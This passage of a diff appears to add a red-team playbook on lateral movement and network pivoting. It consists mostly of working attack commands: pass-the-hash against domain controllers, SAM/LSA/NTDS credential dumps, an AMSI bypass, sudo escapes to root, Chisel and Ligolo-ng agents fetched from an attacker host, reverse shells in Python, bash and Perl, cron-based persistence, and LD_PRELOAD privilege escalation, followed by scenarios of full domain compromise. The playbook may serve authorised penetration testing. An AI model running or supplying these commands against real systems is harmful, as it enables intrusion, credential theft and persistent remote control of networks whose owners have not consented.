cme smb "$TARGET_DC" -u "$TARGET_USER" -H "$TARGET_HASH" \
|
|
240
|
+
-x "whoami /all"
|
|
241
|
+
|
|
242
|
+
# Execute PowerShell command
|
|
243
|
+
cme smb "$TARGET_DC" -u "$TARGET_USER" -H "$TARGET_HASH" \
|
|
244
|
+
-X "Get-LocalUser"
|
|
245
|
+
|
|
246
|
+
# Enumerate logged-on users
|
|
247
|
+
cme smb 192.168.1.0/24 -u "$TARGET_USER" -H "$TARGET_HASH" \
|
|
248
|
+
--loggedon-users
|
|
249
|
+
|
|
250
|
+
# Dump SAM database remotely
|
|
251
|
+
cme smb "$TARGET_DC" -u "$TARGET_USER" -H "$TARGET_HASH" \
|
|
252
|
+
--sam
|
|
253
|
+
|
|
254
|
+
# Dump LSA secrets
|
|
255
|
+
cme smb "$TARGET_DC" -u "$TARGET_USER" -H "$TARGET_HASH" \
|
|
256
|
+
--lsa
|
|
257
|
+
|
|
258
|
+
# Spider shares
|
|
259
|
+
cme smb "$TARGET_DC" -u "$TARGET_USER" -H "$TARGET_HASH" \
|
|
260
|
+
--shares
|
|
261
|
+
```
|
|
262
|
+
|
|
263
|
+
**Evil-WinRM advanced usage:**
|
|
264
|
+
|
|
265
|
+
```bash
|
|
266
|
+
# Upload a file to target
|
|
267
|
+
evil-winrm -i "$TARGET_DC" -u "$TARGET_USER" -H "8846f7eaee8fb117ad06bdd830b7586c"
|
|
268
|
+
# Inside Evil-WinRM shell:
|
|
269
|
+
# upload /opt/tools/SharpHound.exe C:\Windows\Temp\SharpHound.exe
|
|
270
|
+
# download C:\Windows\Temp\output.zip /tmp/output.zip
|
|
271
|
+
|
|
272
|
+
# Load PowerShell scripts directly from attacker
|
|
273
|
+
evil-winrm -i "$TARGET_DC" \
|
|
274
|
+
-u "$TARGET_USER" \
|
|
275
|
+
-H "8846f7eaee8fb117ad06bdd830b7586c" \
|
|
276
|
+
-s /opt/PowerSploit/Recon/ \
|
|
277
|
+
-e /opt/tools/
|
|
278
|
+
|
|
279
|
+
# Inside shell, invoke loaded script:
|
|
280
|
+
# Invoke-Portscan -Hosts 192.168.1.0/24 -TopPorts 100
|
|
281
|
+
|
|
282
|
+
# Execute .exe from memory (bypass disk writes)
|
|
283
|
+
# menu → Bypass-4MSI to patch AMSI first
|
|
284
|
+
# then: Invoke-Binary /opt/tools/Rubeus.exe args
|
|
285
|
+
```
|
|
286
|
+
|
|
287
|
+
**Linux sudo abuse:**
|
|
288
|
+
|
|
289
|
+
```bash
|
|
290
|
+
# Check what the compromised user can run as root
|
|
291
|
+
sudo -l
|
|
292
|
+
|
|
293
|
+
# Example output: (ALL) NOPASSWD: /usr/bin/find
|
|
294
|
+
# Exploit via GTFOBins
|
|
295
|
+
sudo find . -exec /bin/bash -i \; 2>/dev/null
|
|
296
|
+
|
|
297
|
+
# sudo vim escape
|
|
298
|
+
sudo vim -c ':!/bin/bash'
|
|
299
|
+
|
|
300
|
+
# sudo less escape
|
|
301
|
+
sudo less /etc/passwd
|
|
302
|
+
# Inside less: !bash
|
|
303
|
+
|
|
304
|
+
# sudo awk execution
|
|
305
|
+
sudo awk 'BEGIN {system("/bin/bash")}'
|
|
306
|
+
|
|
307
|
+
# sudo python execution
|
|
308
|
+
sudo python3 -c 'import os; os.system("/bin/bash")'
|
|
309
|
+
|
|
310
|
+
# Check for SUID binaries
|
|
311
|
+
find / -perm -u=s -type f 2>/dev/null
|
|
312
|
+
```
|
|
313
|
+
|
|
314
|
+
**NFS share mounting:**
|
|
315
|
+
|
|
316
|
+
```bash
|
|
317
|
+
# Enumerate NFS exports on target
|
|
318
|
+
showmount -e "$PIVOT_HOST"
|
|
319
|
+
|
|
320
|
+
# Mount NFS share locally
|
|
321
|
+
sudo mkdir -p /mnt/nfs_share
|
|
322
|
+
sudo mount -t nfs "$PIVOT_HOST":/exports /mnt/nfs_share -o nolock
|
|
323
|
+
|
|
324
|
+
# Check for SSH keys in mounted share
|
|
325
|
+
ls -la /mnt/nfs_share/home/
|
|
326
|
+
find /mnt/nfs_share -name "id_rsa" -o -name "authorized_keys" 2>/dev/null
|
|
327
|
+
|
|
328
|
+
# Write attacker SSH key to authorized_keys (if writable)
|
|
329
|
+
echo "ssh-rsa AAAAB3NzaC1yc2E... attacker" >> /mnt/nfs_share/home/targetuser/.ssh/authorized_keys
|
|
330
|
+
|
|
331
|
+
# Unmount
|
|
332
|
+
sudo umount /mnt/nfs_share
|
|
333
|
+
```
|
|
334
|
+
|
|
335
|
+
---
|
|
336
|
+
|
|
337
|
+
### ADVANCED — Pivoting and Tunnel Setup
|
|
338
|
+
|
|
339
|
+
**SSH Local Port Forwarding:**
|
|
340
|
+
|
|
341
|
+
```bash
|
|
342
|
+
# Forward local port 8080 to internal web server through pivot host
|
|
343
|
+
# Access internal:80 via localhost:8080
|
|
344
|
+
ssh -L 8080:internal-web.corp.local:80 "$PIVOT_USER"@"$PIVOT_HOST" -N -f
|
|
345
|
+
|
|
346
|
+
# Forward to RDP on internal host
|
|
347
|
+
ssh -L 3389:192.168.2.10:3389 "$PIVOT_USER"@"$PIVOT_HOST" -N -f
|
|
348
|
+
xfreerdp /v:localhost:3389 /u:"$TARGET_USER" /p:"Password123!"
|
|
349
|
+
|
|
350
|
+
# Multiple forwards in one command
|
|
351
|
+
ssh -L 8080:192.168.2.10:80 \
|
|
352
|
+
-L 3389:192.168.2.20:3389 \
|
|
353
|
+
-L 5985:192.168.2.30:5985 \
|
|
354
|
+
"$PIVOT_USER"@"$PIVOT_HOST" -N -f
|
|
355
|
+
```
|
|
356
|
+
|
|
357
|
+
**SSH Remote Port Forwarding:**
|
|
358
|
+
|
|
359
|
+
```bash
|
|
360
|
+
# Expose attacker port 4444 on pivot host as port 4444
|
|
361
|
+
# Useful for reverse shells from internal hosts back to attacker
|
|
362
|
+
ssh -R 4444:localhost:4444 "$PIVOT_USER"@"$PIVOT_HOST" -N -f
|
|
363
|
+
|
|
364
|
+
# Open listener on attacker
|
|
365
|
+
nc -lvnp 4444
|
|
366
|
+
# Trigger reverse shell on internal host to PIVOT_HOST:4444
|
|
367
|
+
```
|
|
368
|
+
|
|
369
|
+
**SSH Dynamic SOCKS Proxy:**
|
|
370
|
+
|
|
371
|
+
```bash
|
|
372
|
+
# Create SOCKS5 proxy on local port 1080 through pivot host
|
|
373
|
+
ssh -D 1080 "$PIVOT_USER"@"$PIVOT_HOST" -N -f
|
|
374
|
+
|
|
375
|
+
# Configure proxychains
|
|
376
|
+
echo "socks5 127.0.0.1 1080" >> /etc/proxychains4.conf
|
|
377
|
+
|
|
378
|
+
# Now route any tool through the pivot
|
|
379
|
+
proxychains4 nmap -sT -Pn -p 22,80,443,445,3389 192.168.2.0/24
|
|
380
|
+
proxychains4 cme smb 192.168.2.0/24 -u "$TARGET_USER" -H "$TARGET_HASH"
|
|
381
|
+
proxychains4 python3 /opt/impacket/examples/wmiexec.py "$TARGET_DOMAIN/$TARGET_USER"@192.168.2.10 -hashes "$TARGET_HASH"
|
|
382
|
+
```
|
|
383
|
+
|
|
384
|
+
**Chisel Tunneling (HTTP-based, bypasses firewalls):**
|
|
385
|
+
|
|
386
|
+
```bash
|
|
387
|
+
# On attacker machine — start Chisel server
|
|
388
|
+
chisel server --port 8080 --reverse --auth "user:password"
|
|
389
|
+
|
|
390
|
+
# On pivot host (Linux) — connect agent back to attacker
|
|
391
|
+
./chisel client --auth "user:password" "$ATTACKER_IP":8080 R:socks
|
|
392
|
+
|
|
393
|
+
# On pivot host (Windows PowerShell) — download and run agent
|
|
394
|
+
Invoke-WebRequest -Uri "http://$ATTACKER_IP/chisel.exe" -OutFile C:\Windows\Temp\chisel.exe
|
|
395
|
+
C:\Windows\Temp\chisel.exe client --auth "user:password" "$ATTACKER_IP":8080 R:socks
|
|
396
|
+
|
|
397
|
+
# Attacker now has SOCKS5 on 127.0.0.1:1080
|
|
398
|
+
# Route tools through it
|
|
399
|
+
proxychains4 nmap -sT -Pn -p 445 192.168.2.0/24
|
|
400
|
+
|
|
401
|
+
# Chisel with specific port forwarding (no SOCKS)
|
|
402
|
+
# On attacker (server)
|
|
403
|
+
chisel server --port 8080 --reverse
|
|
404
|
+
|
|
405
|
+
# On pivot (client) — expose internal RDP to attacker port 13389
|
|
406
|
+
./chisel client "$ATTACKER_IP":8080 R:13389:192.168.2.10:3389
|
|
407
|
+
```
|
|
408
|
+
|
|
409
|
+
**Ligolo-ng Transparent Proxy (most capable option):**
|
|
410
|
+
|
|
411
|
+
```bash
|
|
412
|
+
# Step 1: Create TUN interface on attacker
|
|
413
|
+
sudo ip tuntap add user $(whoami) mode tun ligolo
|
|
414
|
+
sudo ip link set ligolo up
|
|
415
|
+
|
|
416
|
+
# Step 2: Start Ligolo-ng proxy on attacker
|
|
417
|
+
ligolo-proxy -selfcert -laddr 0.0.0.0:11601
|
|
418
|
+
|
|
419
|
+
# Step 3: Upload and run agent on pivot host (Linux)
|
|
420
|
+
# On attacker: serve the agent
|
|
421
|
+
python3 -m http.server 80 --directory /opt/
|
|
422
|
+
|
|
423
|
+
# On pivot host:
|
|
424
|
+
wget http://"$ATTACKER_IP"/ligolo-agent -O /tmp/ligolo-agent
|
|
425
|
+
chmod +x /tmp/ligolo-agent
|
|
426
|
+
/tmp/ligolo-agent -connect "$ATTACKER_IP":11601 -ignore-cert
|
|
427
|
+
|
|
428
|
+
# Step 4: In Ligolo-ng proxy console
|
|
429
|
+
# session (select the connected agent)
|
|
430
|
+
# ifconfig (view agent's network interfaces)
|
|
431
|
+
|
|
432
|
+
# Step 5: Add route for target network on attacker
|
|
433
|
+
sudo ip route add 192.168.2.0/24 dev ligolo
|
|
434
|
+
|
|
435
|
+
# Step 6: Start tunnel
|
|
436
|
+
# tunnel_start (in Ligolo-ng console)
|
|
437
|
+
|
|
438
|
+
# Now the 192.168.2.0/24 network is directly accessible from attacker
|
|
439
|
+
nmap -sT -Pn -p 445 192.168.2.10
|
|
440
|
+
python3 /opt/impacket/examples/psexec.py "$TARGET_DOMAIN/$TARGET_USER"@192.168.2.10 -hashes "$TARGET_HASH"
|
|
441
|
+
|
|
442
|
+
# Ligolo-ng Windows agent (PowerShell on pivot)
|
|
443
|
+
Invoke-WebRequest -Uri "http://$ATTACKER_IP/ligolo-agent.exe" -OutFile C:\Windows\Temp\agent.exe
|
|
444
|
+
C:\Windows\Temp\agent.exe -connect "$ATTACKER_IP":11601 -ignore-cert
|
|
445
|
+
|
|
446
|
+
# Ligolo-ng add listener (for reverse shells from deep network)
|
|
447
|
+
# In Ligolo-ng console:
|
|
448
|
+
# listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444 --tcp
|
|
449
|
+
# This exposes attacker's port 4444 on pivot host's port 4444
|
|
450
|
+
```
|
|
451
|
+
|
|
452
|
+
---
|
|
453
|
+
|
|
454
|
+
### EXPERT — Kerberos Attacks and C2 Pivoting
|
|
455
|
+
|
|
456
|
+
**Pass-the-Ticket (Kerberos):**
|
|
457
|
+
|
|
458
|
+
```bash
|
|
459
|
+
# Step 1: Request TGT with Impacket
|
|
460
|
+
python3 /opt/impacket/examples/getTGT.py \
|
|
461
|
+
"$TARGET_FQDN"/"$TARGET_USER":"Password123!"
|
|
462
|
+
|
|
463
|
+
# Step 2: Export the ticket
|
|
464
|
+
export KRB5CCNAME=$(pwd)/"$TARGET_USER".ccache
|
|
465
|
+
|
|
466
|
+
# Step 3: Use the ticket for lateral movement (no password needed)
|
|
467
|
+
python3 /opt/impacket/examples/psexec.py \
|
|
468
|
+
-k -no-pass \
|
|
469
|
+
"$TARGET_DOMAIN/$TARGET_USER"@"$TARGET_DC"."$TARGET_FQDN"
|
|
470
|
+
|
|
471
|
+
python3 /opt/impacket/examples/wmiexec.py \
|
|
472
|
+
-k -no-pass \
|
|
473
|
+
"$TARGET_DOMAIN/$TARGET_USER"@"$TARGET_DC"."$TARGET_FQDN"
|
|
474
|
+
|
|
475
|
+
# Verify ticket
|
|
476
|
+
klist
|
|
477
|
+
|
|
478
|
+
# Overpass-the-Hash (convert NTLM hash to Kerberos TGT)
|
|
479
|
+
python3 /opt/impacket/examples/getTGT.py \
|
|
480
|
+
"$TARGET_FQDN"/"$TARGET_USER" \
|
|
481
|
+
-hashes "$TARGET_HASH"
|
|
482
|
+
```
|
|
483
|
+
|
|
484
|
+
**Rubeus (on Windows pivot host — PowerShell):**
|
|
485
|
+
|
|
486
|
+
```powershell
|
|
487
|
+
# Dump all Kerberos tickets from memory
|
|
488
|
+
.\Rubeus.exe dump /nowrap
|
|
489
|
+
|
|
490
|
+
# Request TGT for another user via Overpass-the-Hash
|
|
491
|
+
.\Rubeus.exe asktgt /user:$TARGET_USER /rc4:$NTLM_HASH /ptt
|
|
492
|
+
|
|
493
|
+
# Pass-the-Ticket — import a .kirbi ticket
|
|
494
|
+
.\Rubeus.exe ptt /ticket:base64_ticket_here
|
|
495
|
+
|
|
496
|
+
# S4U2Self abuse (constrained delegation)
|
|
497
|
+
.\Rubeus.exe s4u /user:svcaccount /rc4:$NTLM_HASH /impersonateuser:administrator /msdsspn:"cifs/dc01.corp.local" /ptt
|
|
498
|
+
|
|
499
|
+
# Verify loaded tickets
|
|
500
|
+
.\Rubeus.exe triage
|
|
501
|
+
```
|
|
502
|
+
|
|
503
|
+
**Metasploit pivot routing:**
|
|
504
|
+
|
|
505
|
+
```bash
|
|
506
|
+
# After getting a Meterpreter session on pivot host (session 1)
|
|
507
|
+
msfconsole -q
|
|
508
|
+
|
|
509
|
+
# Add route through session 1 to internal network
|
|
510
|
+
msf6 > use post/multi/manage/autoroute
|
|
511
|
+
msf6 post(autoroute) > set SESSION 1
|
|
512
|
+
msf6 post(autoroute) > set SUBNET 192.168.2.0
|
|
513
|
+
msf6 post(autoroute) > run
|
|
514
|
+
|
|
515
|
+
# Alternative: direct route command in meterpreter
|
|
516
|
+
meterpreter > run autoroute -s 192.168.2.0/24
|
|
517
|
+
|
|
518
|
+
# Start SOCKS proxy through the route
|
|
519
|
+
msf6 > use auxiliary/server/socks_proxy
|
|
520
|
+
msf6 auxiliary(socks_proxy) > set SRVPORT 1080
|
|
521
|
+
msf6 auxiliary(socks_proxy) > set VERSION 5
|
|
522
|
+
msf6 auxiliary(socks_proxy) > run -j
|
|
523
|
+
|
|
524
|
+
# Pivot additional exploits through the route
|
|
525
|
+
msf6 > use exploit/windows/smb/psexec
|
|
526
|
+
msf6 exploit(psexec) > set RHOSTS 192.168.2.10
|
|
527
|
+
msf6 exploit(psexec) > set SMBUser "$TARGET_USER"
|
|
528
|
+
msf6 exploit(psexec) > set SMBPass "$TARGET_HASH"
|
|
529
|
+
msf6 exploit(psexec) > set SMBType PSH
|
|
530
|
+
msf6 exploit(psexec) > run
|
|
531
|
+
```
|
|
532
|
+
|
|
533
|
+
**Cobalt Strike beacon pivoting (reference — requires licensed CS):**
|
|
534
|
+
|
|
535
|
+
```bash
|
|
536
|
+
# In CS Beacon console on pivot host:
|
|
537
|
+
# Create SOCKS proxy listener on pivot
|
|
538
|
+
# beacon> socks 1080
|
|
539
|
+
# beacon> socks stop (to disable)
|
|
540
|
+
|
|
541
|
+
# SSH pivot through beacon
|
|
542
|
+
# beacon> ssh root@192.168.2.10 Password123!
|
|
543
|
+
|
|
544
|
+
# Spawn new beacon through pivot (SMB listener)
|
|
545
|
+
# beacon> jump psexec64 192.168.2.10 SMB_LISTENER_NAME
|
|
546
|
+
# beacon> jump winrm64 192.168.2.10 SMB_LISTENER_NAME
|
|
547
|
+
# beacon> jump wmiexec 192.168.2.10 SMB_LISTENER_NAME
|
|
548
|
+
|
|
549
|
+
# Remote exec (no new beacon)
|
|
550
|
+
# beacon> remote-exec wmi 192.168.2.10 whoami
|
|
551
|
+
# beacon> remote-exec winrm 192.168.2.10 whoami
|
|
552
|
+
```
|
|
553
|
+
|
|
554
|
+
**Living-off-the-Land (LotL) techniques — Windows:**
|
|
555
|
+
|
|
556
|
+
```powershell
|
|
557
|
+
# WMI remote execution (no binaries needed)
|
|
558
|
+
$wmi = [wmiclass]"\\$TARGET_DC\root\cimv2:Win32_Process"
|
|
559
|
+
$wmi.Create("cmd.exe /c whoami > C:\Windows\Temp\out.txt")
|
|
560
|
+
|
|
561
|
+
# Read output file via SMB
|
|
562
|
+
type \\$TARGET_DC\C$\Windows\Temp\out.txt
|
|
563
|
+
|
|
564
|
+
# Scheduled task lateral movement (schtasks — CMD)
|
|
565
|
+
schtasks /create /s $TARGET_DC /u $TARGET_USER /p "Password123!" /tn "WindowsUpdate" /tr "cmd.exe /c whoami > C:\out.txt" /sc once /st 00:00 /f
|
|
566
|
+
schtasks /run /s $TARGET_DC /tn "WindowsUpdate"
|
|
567
|
+
type \\$TARGET_DC\C$\out.txt
|
|
568
|
+
schtasks /delete /s $TARGET_DC /tn "WindowsUpdate" /f
|
|
569
|
+
|
|
570
|
+
# PowerShell remoting (built-in WinRM client)
|
|
571
|
+
$cred = Get-Credential
|
|
572
|
+
Enter-PSSession -ComputerName $TARGET_DC -Credential $cred
|
|
573
|
+
|
|
574
|
+
# Invoke-Command (non-interactive)
|
|
575
|
+
Invoke-Command -ComputerName $TARGET_DC -Credential $cred -ScriptBlock { whoami; ipconfig }
|
|
576
|
+
|
|
577
|
+
# DCOM lateral movement (MMC20.Application)
|
|
578
|
+
$dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", $TARGET_DC))
|
|
579
|
+
$dcom.Document.ActiveView.ExecuteShellCommand("cmd.exe", $null, "/c whoami > C:\Windows\Temp\o.txt", "7")
|
|
580
|
+
|
|
581
|
+
# Service control lateral movement (CMD)
|
|
582
|
+
sc \\$TARGET_DC create SvcName binpath= "cmd.exe /c whoami > C:\out.txt"
|
|
583
|
+
sc \\$TARGET_DC start SvcName
|
|
584
|
+
sc \\$TARGET_DC delete SvcName
|
|
585
|
+
|
|
586
|
+
# PsExec (Sysinternals — signed binary)
|
|
587
|
+
PsExec.exe \\$TARGET_DC -u "$TARGET_USER" -p "Password123!" cmd.exe
|
|
588
|
+
```
|
|
589
|
+
|
|
590
|
+
**Living-off-the-Land — Linux:**
|
|
591
|
+
|
|
592
|
+
```bash
|
|
593
|
+
# Python reverse shell (if python is available on target)
|
|
594
|
+
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("'$ATTACKER_IP'",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
|
|
595
|
+
|
|
596
|
+
# Bash reverse shell
|
|
597
|
+
bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1
|
|
598
|
+
|
|
599
|
+
# Perl reverse shell (if python unavailable)
|
|
600
|
+
perl -e 'use Socket;$i="'$ATTACKER_IP'";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
|
|
601
|
+
|
|
602
|
+
# Cron job hijacking (if cron files writable)
|
|
603
|
+
echo "* * * * * bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1" >> /var/spool/cron/crontabs/root
|
|
604
|
+
|
|
605
|
+
# SUID abuse — find writable SUID binaries
|
|
606
|
+
find / -perm -4000 -writable 2>/dev/null
|
|
607
|
+
|
|
608
|
+
# LD_PRELOAD hijack (if sudo allows env var passthrough)
|
|
609
|
+
# Check: sudo -l shows "env_keep += LD_PRELOAD"
|
|
610
|
+
cat > /tmp/preload.c << 'EOF'
|
|
611
|
+
#include <stdio.h>
|
|
612
|
+
#include <sys/types.h>
|
|
613
|
+
#include <stdlib.h>
|
|
614
|
+
void _init() {
|
|
615
|
+
unsetenv("LD_PRELOAD");
|
|
616
|
+
setgid(0); setuid(0);
|
|
617
|
+
system("/bin/bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 &");
|
|
618
|
+
}
|
|
619
|
+
EOF
|
|
620
|
+
gcc -fPIC -shared -o /tmp/preload.so /tmp/preload.c -nostartfiles
|
|
621
|
+
sudo LD_PRELOAD=/tmp/preload.so /usr/bin/any-sudo-allowed-binary
|
|
622
|
+
```
|
|
623
|
+
|
|
624
|
+
---
|
|
625
|
+
|
|
626
|
+
## Step-by-Step Workflow
|
|
627
|
+
|
|
628
|
+
### Phase 1 — Identify Reachable Targets
|
|
629
|
+
|
|
630
|
+
```bash
|
|
631
|
+
# 1. List directly reachable hosts from current position
|
|
632
|
+
arp -a
|
|
633
|
+
ip neigh show
|
|
634
|
+
|
|
635
|
+
# 2. Port scan reachable subnets (quick sweep)
|
|
636
|
+
nmap -sn 192.168.1.0/24 -oG - | grep Up | awk '{print $2}' > /tmp/live_hosts.txt
|
|
637
|
+
|
|
638
|
+
# 3. Identify lateral movement attack surface per host
|
|
639
|
+
nmap -iL /tmp/live_hosts.txt -p 22,135,139,445,3389,5985,5986 -T4 -oN /tmp/lm_ports.txt
|
|
640
|
+
cat /tmp/lm_ports.txt
|
|
641
|
+
|
|
642
|
+
# 4. Check SMB signing (required for relay attacks)
|
|
643
|
+
nxc smb 192.168.1.0/24 --gen-relay-list /tmp/relay_targets.txt
|
|
644
|
+
```
|
|
645
|
+
|
|
646
|
+
### Phase 2 — Select and Execute Movement Technique
|
|
647
|
+
|
|
648
|
+
```bash
|
|
649
|
+
# 5. Validate credentials against live hosts
|
|
650
|
+
nxc smb /tmp/live_hosts.txt -u "$TARGET_USER" -H "$TARGET_HASH" --continue-on-success 2>&1 | tee /tmp/cme_results.txt
|
|
651
|
+
grep "Pwn3d!" /tmp/cme_results.txt
|
|
652
|
+
|
|
653
|
+
# 6. For each pwned host, execute preferred technique
|
|
654
|
+
# WMIExec (quietest):
|
|
655
|
+
python3 /opt/impacket/examples/wmiexec.py "$TARGET_DOMAIN/$TARGET_USER"@192.168.1.20 -hashes "$TARGET_HASH"
|
|
656
|
+
|
|
657
|
+
# WinRM (if port 5985 open):
|
|
658
|
+
evil-winrm -i 192.168.1.20 -u "$TARGET_USER" -H "$(echo $TARGET_HASH | cut -d: -f2)"
|
|
659
|
+
```
|
|
660
|
+
|
|
661
|
+
### Phase 3 — Establish Pivot
|
|
662
|
+
|
|
663
|
+
```bash
|
|
664
|
+
# 7. Start Ligolo-ng proxy on attacker
|
|
665
|
+
sudo ip tuntap add user $(whoami) mode tun ligolo
|
|
666
|
+
sudo ip link set ligolo up
|
|
667
|
+
ligolo-proxy -selfcert -laddr 0.0.0.0:11601 &
|
|
668
|
+
|
|
669
|
+
# 8. Upload and run Ligolo agent on pivot host (via Evil-WinRM)
|
|
670
|
+
# In Evil-WinRM shell:
|
|
671
|
+
# upload /opt/ligolo-agent.exe C:\Windows\Temp\agent.exe
|
|
672
|
+
# C:\Windows\Temp\agent.exe -connect ATTACKER_IP:11601 -ignore-cert
|
|
673
|
+
|
|
674
|
+
# 9. Add route for internal network
|
|
675
|
+
sudo ip route add 192.168.2.0/24 dev ligolo
|
|
676
|
+
|
|
677
|
+
# 10. In Ligolo-ng console: select session, start tunnel
|
|
678
|
+
```
|
|
679
|
+
|
|
680
|
+
### Phase 4 — Enumerate and Pivot Deeper
|
|
681
|
+
|
|
682
|
+
```bash
|
|
683
|
+
# 11. Scan newly reachable network through pivot
|
|
684
|
+
nmap -sT -Pn -p 22,135,139,445,3389,5985 192.168.2.0/24 -oN /tmp/pivot_scan.txt
|
|
685
|
+
|
|
686
|
+
# 12. Run CrackMapExec against new segment
|
|
687
|
+
nxc smb 192.168.2.0/24 -u "$TARGET_USER" -H "$TARGET_HASH" --continue-on-success
|
|
688
|
+
|
|
689
|
+
# 13. Dump credentials from newly accessed hosts
|
|
690
|
+
nxc smb 192.168.2.10 -u "$TARGET_USER" -H "$TARGET_HASH" --sam --lsa
|
|
691
|
+
|
|
692
|
+
# 14. Update credentials store
|
|
693
|
+
echo "192.168.2.10 | $TARGET_USER | <new_hash>" >> /tmp/creds.txt
|
|
694
|
+
```
|
|
695
|
+
|
|
696
|
+
### Phase 5 — Document and Report
|
|
697
|
+
|
|
698
|
+
```bash
|
|
699
|
+
# 15. Log all lateral movement paths
|
|
700
|
+
rtx log lateral-movement \
|
|
701
|
+
--from "192.168.1.50" \
|
|
702
|
+
--to "192.168.2.10" \
|
|
703
|
+
--technique "WMIExec pass-the-hash" \
|
|
704
|
+
--user "$TARGET_USER" \
|
|
705
|
+
--evidence "/tmp/cme_results.txt"
|
|
706
|
+
|
|
707
|
+
# 16. Generate lateral movement findings
|
|
708
|
+
rtx finding create \
|
|
709
|
+
--title "Pass-the-Hash Lateral Movement to $TARGET_DC" \
|
|
710
|
+
--severity HIGH \
|
|
711
|
+
--category "Lateral Movement" \
|
|
712
|
+
--evidence "/tmp/cme_results.txt,/tmp/pivot_scan.txt"
|
|
713
|
+
```
|
|
714
|
+
|
|
715
|
+
---
|
|
716
|
+
|
|
717
|
+
## Real Attack Scenarios
|
|
718
|
+
|
|
719
|
+
### Scenario 1 — Windows Domain: Pass-the-Hash from Workstation to Domain Controller
|
|
720
|
+
|
|
721
|
+
**Context:** Initial foothold on `WKSTN01` (192.168.1.50) as local admin. Mimikatz run in memory yielded the Domain Admin NTLM hash. Goal: access the Domain Controller (192.168.1.10).
|
|
722
|
+
|
|
723
|
+
```bash
|
|
724
|
+
# Step 1: Validate hash against DC
|
|
725
|
+
nxc smb 192.168.1.10 -u "DomainAdmin" -H "aad3b435b51404eeaad3b435b51404ee:8f81ee5558e2d1245a26d4e3c8b29df2"
|
|
726
|
+
# Expected: 192.168.1.10:445 CORP\DomainAdmin STATUS_SUCCESS (Pwn3d!)
|
|
727
|
+
|
|
728
|
+
# Step 2: Dump secrets from DC (confirms full domain compromise)
|
|
729
|
+
nxc smb 192.168.1.10 -u "DomainAdmin" -H "aad3b435b51404eeaad3b435b51404ee:8f81ee5558e2d1245a26d4e3c8b29df2" \
|
|
730
|
+
--ntds drsuapi 2>&1 | tee /tmp/ntds_dump.txt
|
|
731
|
+
|
|
732
|
+
# Step 3: Establish interactive shell on DC
|
|
733
|
+
python3 /opt/impacket/examples/wmiexec.py \
|
|
734
|
+
"CORP/DomainAdmin"@192.168.1.10 \
|
|
735
|
+
-hashes "aad3b435b51404eeaad3b435b51404ee:8f81ee5558e2d1245a26d4e3c8b29df2"
|
|
736
|
+
|
|
737
|
+
# Step 4: From DC shell, enumerate trust relationships
|
|
738
|
+
C:\> nltest /domain_trusts
|
|
739
|
+
C:\> net view /domain
|
|
740
|
+
|
|
741
|
+
# Step 5: Document
|
|
742
|
+
rtx finding create \
|
|
743
|
+
--title "Domain Admin Pass-the-Hash to Primary DC" \
|
|
744
|
+
--severity CRITICAL \
|
|
745
|
+
--category "Lateral Movement" \
|
|
746
|
+
--detail "Hash reuse enabled full domain compromise via WMIExec"
|
|
747
|
+
```
|
|
748
|
+
|
|
749
|
+
**Attack Chain:** `WKSTN01 (local admin)` → `Mimikatz hash dump` → `WMIExec PTH` → `DC01 (Domain Admin)` → `NTDS.dit dump`
|
|
750
|
+
|
|
751
|
+
---
|
|
752
|
+
|
|
753
|
+
### Scenario 2 — Network Pivot: Reaching an Air-Gapped Segment via Chisel
|
|
754
|
+
|
|
755
|
+
**Context:** Foothold on DMZ web server (10.10.10.5, internet-reachable). Internal scan revealed a second NIC connecting to the internal segment (192.168.100.0/24). No direct access from attacker. Goal: reach internal segment.
|
|
756
|
+
|
|
757
|
+
```bash
|
|
758
|
+
# Step 1: Start Chisel server on attacker
|
|
759
|
+
chisel server --port 443 --reverse --auth "rt:Sup3rS3cr3t"
|
|
760
|
+
|
|
761
|
+
# Step 2: Upload Chisel agent to DMZ host (via web shell or RCE)
|
|
762
|
+
# On attacker: serve the binary
|
|
763
|
+
python3 -m http.server 80
|
|
764
|
+
|
|
765
|
+
# On DMZ host (bash):
|
|
766
|
+
curl -o /tmp/chisel http://ATTACKER_IP/chisel
|
|
767
|
+
chmod +x /tmp/chisel
|
|
768
|
+
|
|
769
|
+
# Step 3: Connect Chisel agent from DMZ host to attacker, creating SOCKS proxy
|
|
770
|
+
/tmp/chisel client --auth "rt:Sup3rS3cr3t" ATTACKER_IP:443 R:1080:socks
|
|
771
|
+
|
|
772
|
+
# Step 4: Configure ProxyChains on attacker
|
|
773
|
+
echo "socks5 127.0.0.1 1080" > /etc/proxychains4.conf
|
|
774
|
+
|
|
775
|
+
# Step 5: Scan internal segment through pivot
|
|
776
|
+
proxychains4 nmap -sT -Pn -p 22,80,443,445,3389,5985 192.168.100.0/24 2>/dev/null | tee /tmp/internal_scan.txt
|
|
777
|
+
|
|
778
|
+
# Step 6: Attack internal hosts via proxy
|
|
779
|
+
proxychains4 nxc smb 192.168.100.0/24 -u "administrator" -H "$TARGET_HASH" --continue-on-success
|
|
780
|
+
proxychains4 evil-winrm -i 192.168.100.10 -u "administrator" -H "$(echo $TARGET_HASH | cut -d: -f2)"
|
|
781
|
+
|
|
782
|
+
# Step 7: Document
|
|
783
|
+
rtx log lateral-movement \
|
|
784
|
+
--from "10.10.10.5 (DMZ)" \
|
|
785
|
+
--to "192.168.100.10 (Internal)" \
|
|
786
|
+
--technique "Chisel SOCKS pivot via port 443" \
|
|
787
|
+
--notes "Bypassed firewall using HTTP-tunneled SOCKS through Chisel"
|
|
788
|
+
```
|
|
789
|
+
|
|
790
|
+
**Attack Chain:** `Attacker` → `RCE on DMZ:10.10.10.5` → `Chisel SOCKS proxy` → `Internal network:192.168.100.0/24`
|
|
791
|
+
|
|
792
|
+
---
|
|
793
|
+
|
|
794
|
+
### Scenario 3 — Linux SSH Key Reuse Across Servers
|
|
795
|
+
|
|
796
|
+
